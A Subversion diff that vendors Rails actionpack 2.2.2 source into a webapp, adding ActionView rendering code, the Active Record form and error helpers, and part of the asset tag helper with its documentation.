+    # Templates that are exempt from layouts
+    @@exempt_from_layout = Set.new([/\.rjs$/])
+
+    # Don't render layouts for templates with the given extensions.
+    def self.exempt_from_layout(*extensions)
+      regexps = extensions.collect do |extension|
+        extension.is_a?(Regexp) ? extension : /\.#{Regexp.escape(extension.to_s)}$/
+      end
+      @@exempt_from_layout.merge(regexps)
+    end
+
+    # Specify whether RJS responses should be wrapped in a try/catch block
+    # that alert()s the caught exception (and then re-raises it).
+    @@debug_rjs = false
+    cattr_accessor :debug_rjs
+
+    # A warning will be displayed whenever an action results in a cache miss on your view paths.
+    @@warn_cache_misses = false
+    cattr_accessor :warn_cache_misses
+
+    attr_internal :request
+
+    delegate :request_forgery_protection_token, :template, :params, :session, :cookies, :response, :headers,
+             :flash, :logger, :action_name, :controller_name, :to => :controller
+
+    module CompiledTemplates #:nodoc:
+      # holds compiled template code
+    end
+    include CompiledTemplates
+
+    def self.process_view_paths(value)
+      ActionView::PathSet.new(Array(value))
+    end
+
+    attr_reader :helpers
+
+    class ProxyModule < Module
+      def initialize(receiver)
+        @receiver = receiver
+      end
+
+      def include(*args)
+        super(*args)
+        @receiver.extend(*args)
+      end
+    end
+
+    def initialize(view_paths = [], assigns_for_first_render = {}, controller = nil)#:nodoc:
+      @assigns = assigns_for_first_render
+      @assigns_added = nil
+      @_render_stack = []
+      @controller = controller
+      @helpers = ProxyModule.new(self)
+      self.view_paths = view_paths
+    end
+
+    attr_reader :view_paths
+
+    def view_paths=(paths)
+      @view_paths = self.class.process_view_paths(paths)
+    end
+
+    # Renders the template present at <tt>template_path</tt> (relative to the view_paths array).
+    # The hash in <tt>local_assigns</tt> is made available as local variables.
+    def render(options = {}, local_assigns = {}, &block) #:nodoc:
+      local_assigns ||= {}
+
+      if options.is_a?(String)
+        ActiveSupport::Deprecation.warn(
+          "Calling render with a string will render a partial from Rails 2.3. " +
+          "Change this call to render(:file => '#{options}', :locals => locals_hash)."
+        )
+
+        render(:file => options, :locals => local_assigns)
+      elsif options == :update
+        update_page(&block)
+      elsif options.is_a?(Hash)
+        options = options.reverse_merge(:locals => {})
+        if options[:layout]
+          _render_with_layout(options, local_assigns, &block)
+        elsif options[:file]
+          _pick_template(options[:file]).render_template(self, options[:locals])
+        elsif options[:partial]
+          render_partial(options)
+        elsif options[:inline]
+          InlineTemplate.new(options[:inline], options[:type]).render(self, options[:locals])
+        elsif options[:text]
+          options[:text]
+        end
+      end
+    end
+
+    # The format to be used when choosing between multiple templates with
+    # the same name but differing formats.  See +Request#template_format+
+    # for more details.
+    def template_format
+      if defined? @template_format
+        @template_format
+      elsif controller && controller.respond_to?(:request)
+        @template_format = controller.request.template_format
+      else
+        @template_format = :html
+      end
+    end
+
+    # Access the current template being rendered.
+    # Returns a ActionView::Template object.
+    def template
+      @_render_stack.last
+    end
+
+    private
+      # Evaluates the local assigns and controller ivars, pushes them to the view.
+      def _evaluate_assigns_and_ivars #:nodoc:
+        unless @assigns_added
+          @assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+          _copy_ivars_from_controller
+          @assigns_added = true
+        end
+      end
+
+      def _copy_ivars_from_controller #:nodoc:
+        if @controller
+          variables = @controller.instance_variable_names
+          variables -= @controller.protected_instance_variables if @controller.respond_to?(:protected_instance_variables)
+          variables.each { |name| instance_variable_set(name, @controller.instance_variable_get(name)) }
+        end
+      end
+
+      def _set_controller_content_type(content_type) #:nodoc:
+        if controller.respond_to?(:response)
+          controller.response.content_type ||= content_type
+        end
+      end
+
+      def _pick_template(template_path)
+        return template_path if template_path.respond_to?(:render)
+
+        path = template_path.sub(/^\//, '')
+        if m = path.match(/(.*)\.(\w+)$/)
+          template_file_name, template_file_extension = m[1], m[2]
+        else
+          template_file_name = path
+        end
+
+        # OPTIMIZE: Checks to lookup template in view path
+        if template = self.view_paths["#{template_file_name}.#{template_format}"]
+          template
+        elsif template = self.view_paths[template_file_name]
+          template
+        elsif (first_render = @_render_stack.first) && first_render.respond_to?(:format_and_extension) &&
+            (template = self.view_paths["#{template_file_name}.#{first_render.format_and_extension}"])
+          template
+        elsif template_format == :js && template = self.view_paths["#{template_file_name}.html"]
+          @template_format = :html
+          template
+        else
+          template = Template.new(template_path, view_paths)
+
+          if self.class.warn_cache_misses && logger
+            logger.debug "[PERFORMANCE] Rendering a template that was " +
+              "not found in view path. Templates outside the view path are " +
+              "not cached and result in expensive disk operations. Move this " +
+              "file into #{view_paths.join(':')} or add the folder to your " +
+              "view path list"
+          end
+
+          template
+        end
+      end
+      memoize :_pick_template
+
+      def _exempt_from_layout?(template_path) #:nodoc:
+        template = _pick_template(template_path).to_s
+        @@exempt_from_layout.any? { |ext| template =~ ext }
+      rescue ActionView::MissingTemplate
+        return false
+      end
+
+      def _render_with_layout(options, local_assigns, &block) #:nodoc:
+        partial_layout = options.delete(:layout)
+
+        if block_given?
+          begin
+            @_proc_for_layout = block
+            concat(render(options.merge(:partial => partial_layout)))
+          ensure
+            @_proc_for_layout = nil
+          end
+        else
+          begin
+            original_content_for_layout = @content_for_layout if defined?(@content_for_layout)
+            @content_for_layout = render(options)
+
+            if (options[:inline] || options[:file] || options[:text])
+              @cached_content_for_layout = @content_for_layout
+              render(:file => partial_layout, :locals => local_assigns)
+            else
+              render(options.merge(:partial => partial_layout))
+            end
+          ensure
+            @content_for_layout = original_content_for_layout
+          end
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/active_record_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/active_record_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/active_record_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,305 @@
+require 'cgi'
+require 'action_view/helpers/form_helper'
+
+module ActionView
+  class Base
+    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }
+    cattr_accessor :field_error_proc
+  end
+
+  module Helpers
+    # The Active Record Helper makes it easier to create forms for records kept in instance variables. The most far-reaching is the +form+
+    # method that creates a complete form for all the basic content types of the record (not associations or aggregations, though). This
+    # is a great way of making the record quickly available for editing, but likely to prove lackluster for a complicated real-world form.
+    # In that case, it's better to use the +input+ method and the specialized +form+ methods in link:classes/ActionView/Helpers/FormHelper.html
+    module ActiveRecordHelper
+      # Returns a default input tag for the type of object returned by the method. For example, if <tt>@post</tt>
+      # has an attribute +title+ mapped to a +VARCHAR+ column that holds "Hello World":
+      #
+      #   input("post", "title")
+      #   # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+      def input(record_name, method, options = {})
+        InstanceTag.new(record_name, method, self).to_tag(options)
+      end
+
+      # Returns an entire form with all needed input tags for a specified Active Record object. For example, if <tt>@post</tt>
+      # has attributes named +title+ of type +VARCHAR+ and +body+ of type +TEXT+ then
+      #
+      #   form("post")
+      #
+      # would yield a form like the following (modulus formatting):
+      #
+      #   <form action='/posts/create' method='post'>
+      #     <p>
+      #       <label for="post_title">Title</label><br />
+      #       <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+      #     </p>
+      #     <p>
+      #       <label for="post_body">Body</label><br />
+      #       <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea>
+      #     </p>
+      #     <input name="commit" type="submit" value="Create" />
+      #   </form>
+      #
+      # It's possible to specialize the form builder by using a different action name and by supplying another
+      # block renderer. For example, if <tt>@entry</tt> has an attribute +message+ of type +VARCHAR+ then
+      #
+      #   form("entry",
+      #     :action => "sign",
+      #     :input_block => Proc.new { |record, column|
+      #       "#{column.human_name}: #{input(record, column.name)}<br />"
+      #   })
+      #
+      # would yield a form like the following (modulus formatting):
+      #
+      #   <form action="/entries/sign" method="post">
+      #     Message:
+      #     <input id="entry_message" name="entry[message]" size="30" type="text" /><br />
+      #     <input name="commit" type="submit" value="Sign" />
+      #   </form>
+      #
+      # It's also possible to add additional content to the form by giving it a block, such as:
+      #
+      #   form("entry", :action => "sign") do |form|
+      #     form << content_tag("b", "Department")
+      #     form << collection_select("department", "id", @departments, "id", "name")
+      #   end
+      #
+      # The following options are available:
+      #
+      # * <tt>:action</tt> - The action used when submitting the form (default: +create+ if a new record, otherwise +update+).
+      # * <tt>:input_block</tt> - Specialize the output using a different block, see above.
+      # * <tt>:method</tt> - The method used when submitting the form (default: +post+).
+      # * <tt>:multipart</tt> - Whether to change the enctype of the form to "multipart/form-data", used when uploading a file (default: +false+).
+      # * <tt>:submit_value</tt> - The text of the submit button (default: "Create" if a new record, otherwise "Update").
+      def form(record_name, options = {})
+        record = instance_variable_get("@#{record_name}")
+
+        options = options.symbolize_keys
+        options[:action] ||= record.new_record? ? "create" : "update"
+        action = url_for(:action => options[:action], :id => record)
+
+        submit_value = options[:submit_value] || options[:action].gsub(/[^\w]/, '').capitalize
+
+        contents = form_tag({:action => action}, :method =>(options[:method] || 'post'), :enctype => options[:multipart] ? 'multipart/form-data': nil)
+        contents << hidden_field(record_name, :id) unless record.new_record?
+        contents << all_input_tags(record, record_name, options)
+        yield contents if block_given?
+        contents << submit_tag(submit_value)
+        contents << '</form>'
+      end
+
+      # Returns a string containing the error message attached to the +method+ on the +object+ if one exists.
+      # This error message is wrapped in a <tt>DIV</tt> tag, which can be extended to include a <tt>:prepend_text</tt>
+      # and/or <tt>:append_text</tt> (to properly explain the error), and a <tt>:css_class</tt> to style it
+      # accordingly. +object+ should either be the name of an instance variable or the actual object. The method can be
+      # passed in either as a string or a symbol.
+      # As an example, let's say you have a model <tt>@post</tt> that has an error message on the +title+ attribute:
+      #
+      #   <%= error_message_on "post", "title" %>
+      #   # => <div class="formError">can't be empty</div>
+      #
+      #   <%= error_message_on @post, :title %>
+      #   # => <div class="formError">can't be empty</div>
+      #
+      #   <%= error_message_on "post", "title",
+      #       :prepend_text => "Title simply ",
+      #       :append_text => " (or it won't work).",
+      #       :css_class => "inputError" %>
+      def error_message_on(object, method, *args)
+        options = args.extract_options!
+        unless args.empty?
+          ActiveSupport::Deprecation.warn('error_message_on takes an option hash instead of separate ' +
+            'prepend_text, append_text, and css_class arguments', caller)
+
+          options[:prepend_text] = args[0] || ''
+          options[:append_text] = args[1] || ''
+          options[:css_class] = args[2] || 'formError'
+        end
+        options.reverse_merge!(:prepend_text => '', :append_text => '', :css_class => 'formError')
+
+        if (obj = (object.respond_to?(:errors) ? object : instance_variable_get("@#{object}"))) &&
+          (errors = obj.errors.on(method))
+          content_tag("div",
+            "#{options[:prepend_text]}#{errors.is_a?(Array) ? errors.first : errors}#{options[:append_text]}",
+            :class => options[:css_class]
+          )
+        else
+          ''
+        end
+      end
+
+      # Returns a string with a <tt>DIV</tt> containing all of the error messages for the objects located as instance variables by the names
+      # given.  If more than one object is specified, the errors for the objects are displayed in the order that the object names are
+      # provided.
+      #
+      # This <tt>DIV</tt> can be tailored by the following options:
+      #
+      # * <tt>:header_tag</tt> - Used for the header of the error div (default: "h2").
+      # * <tt>:id</tt> - The id of the error div (default: "errorExplanation").
+      # * <tt>:class</tt> - The class of the error div (default: "errorExplanation").
+      # * <tt>:object</tt> - The object (or array of objects) for which to display errors,
+      #   if you need to escape the instance variable convention.
+      # * <tt>:object_name</tt> - The object name to use in the header, or any text that you prefer.
+      #   If <tt>:object_name</tt> is not set, the name of the first object will be used.
+      # * <tt>:header_message</tt> - The message in the header of the error div.  Pass +nil+
+      #   or an empty string to avoid the header message altogether. (Default: "X errors
+      #   prohibited this object from being saved").
+      # * <tt>:message</tt> - The explanation message after the header message and before
+      #   the error list.  Pass +nil+ or an empty string to avoid the explanation message
+      #   altogether. (Default: "There were problems with the following fields:").
+      #
+      # To specify the display for one object, you simply provide its name as a parameter.
+      # For example, for the <tt>@user</tt> model:
+      #
+      #   error_messages_for 'user'
+      #
+      # To specify more than one object, you simply list them; optionally, you can add an extra <tt>:object_name</tt> parameter, which
+      # will be the name used in the header message:
+      #
+      #   error_messages_for 'user_common', 'user', :object_name => 'user'
+      #
+      # If the objects cannot be located as instance variables, you can add an extra <tt>:object</tt> parameter which gives the actual
+      # object (or array of objects to use):
+      #
+      #   error_messages_for 'user', :object => @question.user
+      #
+      # NOTE: This is a pre-packaged presentation of the errors with embedded strings and a certain HTML structure. If what
+      # you need is significantly different from the default presentation, it makes plenty of sense to access the <tt>object.errors</tt>
+      # instance yourself and set it up. View the source of this method to see how easy it is.
+      def error_messages_for(*params)
+        options = params.extract_options!.symbolize_keys
+
+        if object = options.delete(:object)
+          objects = [object].flatten
+        else
+          objects = params.collect {|object_name| instance_variable_get("@#{object_name}") }.compact
+        end
+
+        count  = objects.inject(0) {|sum, object| sum + object.errors.count }
+        unless count.zero?
+          html = {}
+          [:id, :class].each do |key|
+            if options.include?(key)
+              value = options[key]
+              html[key] = value unless value.blank?
+            else
+              html[key] = 'errorExplanation'
+            end
+          end
+          options[:object_name] ||= params.first
+
+          I18n.with_options :locale => options[:locale], :scope => [:activerecord, :errors, :template] do |locale|
+            header_message = if options.include?(:header_message)
+              options[:header_message]
+            else
+              object_name = options[:object_name].to_s.gsub('_', ' ')
+              object_name = I18n.t(object_name, :default => object_name, :scope => [:activerecord, :models], :count => 1)
+              locale.t :header, :count => count, :model => object_name
+            end
+            message = options.include?(:message) ? options[:message] : locale.t(:body)
+            error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, msg) } }.join
+
+            contents = ''
+            contents << content_tag(options[:header_tag] || :h2, header_message) unless header_message.blank?
+            contents << content_tag(:p, message) unless message.blank?
+            contents << content_tag(:ul, error_messages)
+
+            content_tag(:div, contents, html)
+          end
+        else
+          ''
+        end
+      end
+
+      private
+        def all_input_tags(record, record_name, options)
+          input_block = options[:input_block] || default_input_block
+          record.class.content_columns.collect{ |column| input_block.call(record_name, column) }.join("\n")
+        end
+
+        def default_input_block
+          Proc.new { |record, column| %(<p><label for="#{record}_#{column.name}">#{column.human_name}</label><br />#{input(record, column.name)}</p>) }
+        end
+    end
+
+    class InstanceTag #:nodoc:
+      def to_tag(options = {})
+        case column_type
+          when :string
+            field_type = @method_name.include?("password") ? "password" : "text"
+            to_input_field_tag(field_type, options)
+          when :text
+            to_text_area_tag(options)
+          when :integer, :float, :decimal
+            to_input_field_tag("text", options)
+          when :date
+            to_date_select_tag(options)
+          when :datetime, :timestamp
+            to_datetime_select_tag(options)
+          when :time
+            to_time_select_tag(options)
+          when :boolean
+            to_boolean_select_tag(options)
+        end
+      end
+
+      alias_method :tag_without_error_wrapping, :tag
+      def tag(name, options)
+        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
+          error_wrapping(tag_without_error_wrapping(name, options), object.errors.on(@method_name))
+        else
+          tag_without_error_wrapping(name, options)
+        end
+      end
+
+      alias_method :content_tag_without_error_wrapping, :content_tag
+      def content_tag(name, value, options)
+        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
+          error_wrapping(content_tag_without_error_wrapping(name, value, options), object.errors.on(@method_name))
+        else
+          content_tag_without_error_wrapping(name, value, options)
+        end
+      end
+
+      alias_method :to_date_select_tag_without_error_wrapping, :to_date_select_tag
+      def to_date_select_tag(options = {}, html_options = {})
+        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
+          error_wrapping(to_date_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
+        else
+          to_date_select_tag_without_error_wrapping(options, html_options)
+        end
+      end
+
+      alias_method :to_datetime_select_tag_without_error_wrapping, :to_datetime_select_tag
+      def to_datetime_select_tag(options = {}, html_options = {})
+        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
+            error_wrapping(to_datetime_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
+          else
+            to_datetime_select_tag_without_error_wrapping(options, html_options)
+        end
+      end
+
+      alias_method :to_time_select_tag_without_error_wrapping, :to_time_select_tag
+      def to_time_select_tag(options = {}, html_options = {})
+        if object.respond_to?(:errors) && object.errors.respond_to?(:on)
+          error_wrapping(to_time_select_tag_without_error_wrapping(options, html_options), object.errors.on(@method_name))
+        else
+          to_time_select_tag_without_error_wrapping(options, html_options)
+        end
+      end
+
+      def error_wrapping(html_tag, has_error)
+        has_error ? Base.field_error_proc.call(html_tag, self) : html_tag
+      end
+
+      def error_message
+        object.errors.on(@method_name)
+      end
+
+      def column_type
+        object.send(:column_for_attribute, @method_name).type
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/asset_tag_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/asset_tag_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/asset_tag_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,817 @@
+require 'cgi'
+require 'action_view/helpers/url_helper'
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  module Helpers #:nodoc:
+    # This module provides methods for generating HTML that links views to assets such
+    # as images, javascripts, stylesheets, and feeds. These methods do not verify
+    # the assets exist before linking to them.
+    #
+    # === Using asset hosts
+    # By default, Rails links to these assets on the current host in the public
+    # folder, but you can direct Rails to link to assets from a dedicated assets server by
+    # setting ActionController::Base.asset_host in your <tt>config/environment.rb</tt>.  For example,
+    # let's say your asset host is <tt>assets.example.com</tt>.
+    #
+    #   ActionController::Base.asset_host = "assets.example.com"
+    #   image_tag("rails.png")
+    #     => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+    #   stylesheet_link_tag("application")
+    #     => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #
+    # This is useful since browsers typically open at most two connections to a single host,
+    # which means your assets often wait in single file for their turn to load.  You can
+    # alleviate this by using a <tt>%d</tt> wildcard in <tt>asset_host</tt> (for example, "assets%d.example.com")
+    # to automatically distribute asset requests among four hosts (e.g., "assets0.example.com" through "assets3.example.com")
+    # so browsers will open eight connections rather than two.
+    #
+    #   image_tag("rails.png")
+    #     => <img src="http://assets0.example.com/images/rails.png" alt="Rails" />
+    #   stylesheet_link_tag("application")
+    #     => <link href="http://assets3.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #
+    # To do this, you can either setup 4 actual hosts, or you can use wildcard DNS to CNAME
+    # the wildcard to a single asset host.  You can read more about setting up your DNS CNAME records from
+    # your ISP.
+    #
+    # Note: This is purely a browser performance optimization and is not meant
+    # for server load balancing. See http://www.die.net/musings/page_load_time/
+    # for background.
+    #
+    # Alternatively, you can exert more control over the asset host by setting <tt>asset_host</tt> to a proc
+    # that takes a single source argument. This is useful if you are unable to setup 4 actual hosts or have
+    # fewer/more than 4 hosts. The example proc below generates http://assets1.example.com and
+    # http://assets2.example.com randomly.
+    #
+    #   ActionController::Base.asset_host = Proc.new { |source| "http://assets#{rand(2) + 1}.example.com" }
+    #   image_tag("rails.png")
+    #     => <img src="http://assets2.example.com/images/rails.png" alt="Rails" />
+    #   stylesheet_link_tag("application")
+    #     => <link href="http://assets1.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #
+    # The proc takes a <tt>source</tt> parameter (which is the path of the source asset) and an optional
+    # <tt>request</tt> parameter (which is an entire instance of an <tt>ActionController::AbstractRequest</tt>
+    # subclass). This can be used to generate a particular asset host depending on the asset path and the particular
+    # request.
+    #
+    #    ActionController::Base.asset_host = Proc.new { |source|
+    #      if source.starts_with?('/images')
+    #        "http://images.example.com"
+    #      else
+    #        "http://assets.example.com"
+    #      end
+    #    }
+    #   image_tag("rails.png")
+    #     => <img src="http://images.example.com/images/rails.png" alt="Rails" />
+    #   stylesheet_link_tag("application")
+    #     => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+    #
+    # The optional <tt>request</tt> parameter to the proc is useful in particular for serving assets from an
+    # SSL-protected page. The example proc below disables asset hosting for HTTPS connections, while still sending
+    # assets for plain HTTP requests from asset hosts. This is useful for avoiding mixed media warnings when serving
+    # non-HTTP assets from HTTPS web pages when you don't have an SSL certificate for each of the asset hosts.
+    #
+    #   ActionController::Base.asset_host = Proc.new { |source, request|
+    #     if request.ssl?
+    #       "#{request.protocol}#{request.host_with_port}"
+    #     else
+    #       "#{request.protocol}assets.example.com"
+    #     end
+    #   }
+    #
+    # === Using asset timestamps
+    #
+    # By default, Rails will append all asset paths with that asset's timestamp. This allows you to set a cache-expiration date for the
+    # asset far into the future, but still be able to instantly invalidate it by simply updating the file (and hence updating the timestamp,
+    # which then updates the URL as the timestamp is part of that, which in turn busts the cache).
+    #
+    # It's the responsibility of the web server you use to set the far-future expiration date on cache assets that you need to take
+    # advantage of this feature. Here's an example for Apache:
+    #
+    # # Asset Expiration
+    # ExpiresActive On
+    # <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
+    #   ExpiresDefault "access plus 1 year"
+    # </FilesMatch>
+    #
+    # Also note that in order for this to work, all your application servers must return the same timestamps. This means that they must
+    # have their clocks synchronized. If one of them drift out of sync, you'll see different timestamps at random and the cache won't
+    # work. Which means that the browser will request the same assets over and over again even thought they didn't change. You can use
+    # something like Live HTTP Headers for Firefox to verify that the cache is indeed working (and that the assets are not being
+    # requested over and over).
+    module AssetTagHelper
+      ASSETS_DIR      = defined?(Rails.public_path) ? Rails.public_path : "public"
+      JAVASCRIPTS_DIR = "#{ASSETS_DIR}/javascripts"
+      STYLESHEETS_DIR = "#{ASSETS_DIR}/stylesheets"
+      JAVASCRIPT_DEFAULT_SOURCES = ['prototype', 'effects', 'dragdrop', 'controls'].freeze unless const_defined?(:JAVASCRIPT_DEFAULT_SOURCES)
+
+      # Returns a link tag that browsers and news readers can use to auto-detect
+      # an RSS or ATOM feed. The +type+ can either be <tt>:rss</tt> (default) or
+      # <tt>:atom</tt>. Control the link options in url_for format using the
+      # +url_options+. You can modify the LINK tag itself in +tag_options+.
+      #
+      # ==== Options:
+      # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
+      # * <tt>:type</tt>  - Override the auto-generated mime type
+      # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
+      #
+      # ==== Examples
+      #  auto_discovery_link_tag # =>
+      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+      #  auto_discovery_link_tag(:atom) # =>
+      #     <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+      #  auto_discovery_link_tag(:rss, {:action => "feed"}) # =>
+      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+      #  auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"}) # =>
+      #     <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+      #  auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"}) # =>
+      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+      #  auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"}) # =>
+      #     <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+        tag(
+          "link",
+          "rel"   => tag_options[:rel] || "alternate",
+          "type"  => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
+          "title" => tag_options[:title] || type.to_s.upcase,
+          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
+        )
+      end
+
+      # Computes the path to a javascript asset in the public javascripts directory.
+      # If the +source+ filename has no extension, .js will be appended.
+      # Full paths from the document root will be passed through.
+      # Used internally by javascript_include_tag to build the script path.
+      #
+      # ==== Examples
+      #   javascript_path "xmlhr" # => /javascripts/xmlhr.js
+      #   javascript_path "dir/xmlhr.js" # => /javascripts/dir/xmlhr.js
+      #   javascript_path "/dir/xmlhr" # => /dir/xmlhr.js
+      #   javascript_path "http://www.railsapplication.com/js/xmlhr" # => http://www.railsapplication.com/js/xmlhr.js
+      #   javascript_path "http://www.railsapplication.com/js/xmlhr.js" # => http://www.railsapplication.com/js/xmlhr.js
+      def javascript_path(source)
+        JavaScriptTag.new(self, @controller, source).public_path
+      end
+      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
+
+      # Returns an html script tag for each of the +sources+ provided. You
+      # can pass in the filename (.js extension is optional) of javascript files
+      # that exist in your public/javascripts directory for inclusion into the
+      # current page or you can pass the full path relative to your document
+      # root. To include the Prototype and Scriptaculous javascript libraries in
+      # your application, pass <tt>:defaults</tt> as the source. When using
+      # <tt>:defaults</tt>, if an application.js file exists in your public
+      # javascripts directory, it will be included as well. You can modify the
+      # html attributes of the script tag by passing a hash as the last argument.
+      #
+      # ==== Examples
+      #   javascript_include_tag "xmlhr" # =>
+      #     <script type="text/javascript" src="/javascripts/xmlhr.js"></script>
+      #
+      #   javascript_include_tag "xmlhr.js" # =>
+      #     <script type="text/javascript" src="/javascripts/xmlhr.js"></script>
+      #
+      #   javascript_include_tag "common.javascript", "/elsewhere/cools" # =>
+      #     <script type="text/javascript" src="/javascripts/common.javascript"></script>
+      #     <script type="text/javascript" src="/elsewhere/cools.js"></script>
+      #
+      #   javascript_include_tag "http://www.railsapplication.com/xmlhr" # =>
+      #     <script type="text/javascript" src="http://www.railsapplication.com/xmlhr.js"></script>
+      #
+      #   javascript_include_tag "http://www.railsapplication.com/xmlhr.js" # =>
+      #     <script type="text/javascript" src="http://www.railsapplication.com/xmlhr.js"></script>
+      #
+      #   javascript_include_tag :defaults # =>
+      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
+      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
+      #     ...
+      #     <script type="text/javascript" src="/javascripts/application.js"></script>
+      #
+      # * = The application.js file is only referenced if it exists
+      #
+      # Though it's not really recommended practice, if you need to extend the default JavaScript set for any reason
+      # (e.g., you're going to be using a certain .js file in every action), then take a look at the register_javascript_include_default method.
+      #
+      # You can also include all javascripts in the javascripts directory using <tt>:all</tt> as the source:
+      #
+      #   javascript_include_tag :all # =>
+      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
+      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
+      #     ...
+      #     <script type="text/javascript" src="/javascripts/application.js"></script>
+      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
+      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
+      #
+      # Note that the default javascript files will be included first. So Prototype and Scriptaculous are available to
+      # all subsequently included files.
+      #
+      # If you want Rails to search in all the subdirectories under javascripts, you should explicitly set <tt>:recursive</tt>:
+      #
+      #   javascript_include_tag :all, :recursive => true
+      #
+      # == Caching multiple javascripts into one
+      #
+      # You can also cache multiple javascripts into one file, which requires less HTTP connections to download and can better be
+      # compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching
+      # is set to <tt>true</tt> (which is the case by default for the Rails production environment, but not for the development
+      # environment).
+      #
+      # ==== Examples
+      #   javascript_include_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
+      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
+      #     <script type="text/javascript" src="/javascripts/effects.js"></script>
+      #     ...
+      #     <script type="text/javascript" src="/javascripts/application.js"></script>
+      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
+      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
+      #
+      #   javascript_include_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
+      #     <script type="text/javascript" src="/javascripts/all.js"></script>
+      #
+      #   javascript_include_tag "prototype", "cart", "checkout", :cache => "shop" # when ActionController::Base.perform_caching is false =>
+      #     <script type="text/javascript" src="/javascripts/prototype.js"></script>
+      #     <script type="text/javascript" src="/javascripts/cart.js"></script>
+      #     <script type="text/javascript" src="/javascripts/checkout.js"></script>
+      #
+      #   javascript_include_tag "prototype", "cart", "checkout", :cache => "shop" # when ActionController::Base.perform_caching is true =>
+      #     <script type="text/javascript" src="/javascripts/shop.js"></script>
+      #
+      # The <tt>:recursive</tt> option is also available for caching:
+      #
+      #   javascript_include_tag :all, :cache => true, :recursive => true
+      def javascript_include_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        cache   = options.delete("cache")
+        recursive = options.delete("recursive")
+
+        if ActionController::Base.perform_caching && cache
+          joined_javascript_name = (cache == true ? "all" : cache) + ".js"
+          joined_javascript_path = File.join(JAVASCRIPTS_DIR, joined_javascript_name)
+
+          unless File.exists?(joined_javascript_path)
+            JavaScriptSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_javascript_path)
+          end
+          javascript_src_tag(joined_javascript_name, options)
+        else
+          JavaScriptSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
+            javascript_src_tag(source, options)
+          }.join("\n")
+        end
+      end
+
+      # Register one or more javascript files to be included when <tt>symbol</tt>
+      # is passed to <tt>javascript_include_tag</tt>. This method is typically intended
+      # to be called from plugin initialization to register javascript files
+      # that the plugin installed in <tt>public/javascripts</tt>.
+      #
+      #   ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
+      #
+      #   javascript_include_tag :monkey # =>
+      #     <script type="text/javascript" src="/javascripts/head.js"></script>
+      #     <script type="text/javascript" src="/javascripts/body.js"></script>
+      #     <script type="text/javascript" src="/javascripts/tail.js"></script>
+      def self.register_javascript_expansion(expansions)
+        JavaScriptSources.expansions.merge!(expansions)
+      end
+
